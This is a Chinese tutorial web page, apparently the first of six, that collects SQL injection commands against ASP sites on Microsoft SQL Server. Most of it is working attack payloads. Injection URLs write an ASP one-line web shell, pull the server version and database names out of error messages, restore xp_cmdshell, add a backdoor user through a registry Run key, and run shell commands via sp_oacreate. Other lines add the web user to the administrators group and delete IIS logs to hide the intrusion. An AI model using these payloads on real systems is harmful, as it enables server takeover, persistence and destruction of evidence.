转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 数据库 >> Sql Server >> 正文
最详细的SQL注入相关的命令整理         

最详细的SQL注入相关的命令整理

作者:闵涛 文章来源:闵涛的学习笔记 点击数:4734 更新时间:2007/11/14 13:12:59

 

QUOTE: 1、   用^转义字符来写ASP(一句话木马)文件的方法:
?   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell ''''echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp'''';--

?   echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

2、   显示SQL系统版本:
?   http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)
?   http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--

Microsoft VBScript 编译器错误 错误 ''''800a03f6''''
缺少 ''''End''''
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 ''''80040e07''''
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ''''Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) '''' to a column of data type int.
/display.asp,行17
3、   在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用“in”关键字进行查询,例如“select * from mytable where id in(1)”,括号中的值就是我们提交的数据,它的结果与使用“select * from mytable where id=1”的查询结果完全相同。所以访问页面的时候在URL后面加上“) and 1=1 and 1 in(1”后原来的SQL语句就变成了“select * from mytable where id in(1) and 1=1 and 1 in(1)”,这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为“包含数字型”吧,聪明的你一定想到了还有“包含字符型”呢。对了,它就是由于类似“select * from mytable where name in(‘firstsee’)”的查询语句造成的。

4、   判断xp_cmdshell扩展存储过程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = ''''X'''' AND name = ''''xp_cmdshell'''')
恢复xp_cmdshell扩展存储的命令:
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc ''''xp_cmdshell'''',’e:\inetput\web\xplog70.dll’;--

5、   向启动组中写入命令行和执行程序:
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite ''''HKEY_LOCAL_MACHINE'''',''''SOFTWARE\Microsoft\Windows\CurrentVersion\Run'''',''''help1'''',''''REG_SZ'''',''''cmd.exe /c net user test ptlove /add''''


6、   查看当前的数据库名称:
?   http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n改成0,1,2,3……就可以跨库了
?   http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Microsoft VBScript 编译器错误 错误 ''''800a03f6''''
缺少 ''''End''''
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 ''''80040e07''''
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ''''huidahouse'''' to a column of data type int.
/display.asp,行17
7、   列出当前所有的数据库名称:
select * from master.dbo.sysdatabases   列出所有列的记录
select name from master.dbo.sysdatabases 仅列出name列的记录

8、   不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:
CREATE TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate ''''wscript.shell'''',@shell output
EXEC sp_oamethod @shell,''''run'''',null,''''cmd.exe /c dir c:\>c:\temp.txt'''',''''0'''',''''true''''
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

EXEC sp_oacreate ''''scripting.filesystemobject'''',@fso output
EXEC sp_oamethod @fso,''''opentextfile'''',@file out,''''c:\temp.txt''''
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,''''Readline'''',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,''''AtEndOfStream'''',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP

----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate ''''wscript.shell'''',@shell output
EXEC sp_oamethod @shell,''''run'''',null,''''cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt'''',''''0'''',''''true''''
EXEC sp_oacreate ''''scripting.filesystemobject'''',@fso output
EXEC sp_oamethod @fso,''''opentextfile'''',@file out,''''c:\temp.txt''''
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,''''Readline'''',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,''''AtEndOfStream'''',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

以下是一行里面将WEB用户加到管理员组中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate ''''wscript.shell'''',@shell output EXEC sp_oamethod @shell,''''run'''',null,''''cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt'''',''''0'''',''''true'''' EXEC sp_oacreate ''''scripting.filesystemobject'''',@fso output EXEC sp_oamethod @fso,''''opentextfile'''',@file out,''''c:\temp.txt'''' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,''''Readline'''',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,''''AtEndOfStream'''',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

以下是一行中执行EXE程序:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate ''''wscript.shell'''',@shell output EXEC sp_oamethod @shell,''''run'''',null,''''cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt'''',''''0'''',''''true'''' EXEC sp_oacreate ''''scripting.filesystemobject'''',@fso output EXEC sp_oamethod @fso,''''opentextfile'''',@file out,''''c:\temp.txt'''' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,''''Readline'''',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,''''AtEndOfStream'''',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

SQL下三种执行CMD命令的方法:

先删除7.18号日志:
(1)exec master.dbo.xp_cmdshell ''''del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt''''

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate ''''wscript.shell'''',@shell output EXEC sp_oamethod @shell,''''run'''',null,''''cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt'''',''''0'''',''''true'''' EXEC sp_oacreate ''''scripting.filesystemobject'''',@fso output EXEC sp_oamethod @fso,''''opentextfile'''',@file out,''''c:\temp.txt'''' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,''''Readline'''',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,''''AtEndOfStream'''',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

(3)首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试:
?   exec master..xp_regwrite ''''HKEY_LOCAL_MACHINE'''',''''SOFTWARE\Microsoft\Jet\4.0\Engines'''',''''SandBoxMode'''',''''REG_DWORD'''',1
注:
0   禁止一切(默认)
1   使能访问ACCESS,但是禁止其它
2   禁止访问ACCESS,但是使能其他
3   使能一切

?  

[1] [2] [3] [4] [5] [6]  下一页


[办公软件]在sybase中插入图片、PDF、文本文件  [办公软件]安装Sybase ASE
[办公软件]linux指令大全(完整篇)  [办公软件]Linux新手入门常用命令大全
[办公软件]在RedHat Linux 9里安装gaim0.80  [办公软件]浅谈Linux 下Java 1.5 汉字方块问题解决方法
[办公软件]Linux程序员必读:中文化与GB18030标准  [办公软件]linux指令大全
[办公软件]制作Linux启动盘的四种方法  [办公软件]Linux文件系统的反删除方法
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · Sql Server  · MySql
    · Access  · ORACLE
    · SyBase  · 其他
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台